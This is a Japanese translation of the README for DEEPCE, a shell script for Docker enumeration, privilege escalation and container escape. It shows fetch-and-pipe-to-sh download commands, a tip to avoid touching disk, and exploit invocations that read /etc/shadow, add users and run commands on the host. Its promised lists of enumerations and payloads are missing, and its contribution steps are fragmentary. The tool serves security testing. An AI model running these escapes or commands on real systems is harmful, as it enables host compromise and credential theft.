
Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE)
## .
## ## ## ==
## ## ## ## ===
/"""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~~ ~ / ===- ~~~
\______ X __/
\ \ __/
\____\_______/
__
____/ /__ ___ ____ ________
/ __ / _ \/ _ \/ __ \/ ___/ _ \ ENUMERATE
/ /_/ / __/ __/ /_/ / (__/ __/ ESCALATE
\__,_/\___/\___/ .___/\___/\___/ ESCAPE
/_/
Docker 列挙、権限昇格、コンテナエスケープ (DEEPCE)
できるだけ多くのコンテナと互換性があるように、DEEPCE は依存関係のない純粋な sh で書かれています。利用可能であれば curl、nmap、nslookup、dig などの追加ツールも使用しますが、列挙に関しては大部分はこれらのツールに依存していません。
列挙処理のいずれもディスクに書き込みを行いません。ただし、ほとんどのエクスプロイトは新しいコンテナを作成するためディスクへの書き込みが発生し、一部のエクスプロイトは runC を上書きするため破壊的になる可能性があります。注意してください!
DEEPCE が使用できる列挙、エクスプロイト、ペイロードの一覧は以下を参照してください。追加のアイデアがあれば、GitHub で issue を送信してください!
DEEPCE は、以下のワンライナーのいずれかを使用してホストまたはコンテナにダウンロードできます。ヒント: ディスクに触れないように /dev/shm にダウンロードしてください。
wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
# Or using python requests
python -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content)' > deepce.sh
python3 -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content.decode("utf-8"))' > deepce.sh
Deepce と私の他のプロジェクトの活動を気に入ってくださっているなら、今すぐ私の作業を直接サポートできます!コーヒー☕を買ってくれることは、単に私のカフェイン需要を満たすだけでなく、これらのオープンソースプロジェクトの開発と改善により多くの時間を割く助けにもなります。一杯一杯のコーヒーがサイバーセキュリティの世界にさらなる革新をもたらします。ご支援ありがとうございます。それは私とオープンソースコミュニティにとって非常に大きな意味を持ちます!
詳細は docs フォルダ を参照してください。

以下は DEEPCE が実行する列挙の一覧です。
上記の各エクスプロイトについて、ホストシステムを攻撃するためのペイロードを定義できます。これらには次のものがあります:
# Make the script executable and then run it
chmod +x ./deepce.sh
./deepce.sh
以下の例は、実行できるさまざまな種類のエクスプロイトと利用可能なペイロードを示しています。
./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepce
/etc/shadow の内容を表示します./deepce.sh --no-enumeration --exploit SOCK --shadow
./deepce.sh --no-enumeration --exploit DOCKER --command "whoami>/tmp/hacked"
ディスクに触れずに deepce をダウンロードして実行することも可能ですが、その場合引数を簡単に設定することはできません(export を使用した変数の直接操作は可能です)。
wget -O - https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh
これを書くにあたり、素晴らしいコンテナ列挙・エスケープスクリプトや列挙ツールから着想を得ました。ただし、Go / Ruby の依存関係をインストールしたり、静的バイナリに依存したりするのを避けるため、純粋な sh で書く必要があると感じました。また、テスト中に未知のコンテナ内にいる可能性があるため、Docker コンテナが何であるかを発見できるよう、より多くの列挙を実行できるようにしたかったのです。このスクリプトが列挙できる項目の数は際限なく増えていきました。何か新しいものを追加するたびに、さらに追加できるアイデアを思いついたからです。
Docker のセキュリティに関するヒントを探している開発者向け https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Docker_Security_Cheat_Sheet.md
プルリクエスト、issue、フィードバックを歓迎します。
git checkout -b my-new-feature)git commit -am 'Added some feature')git push origin my-new-feature)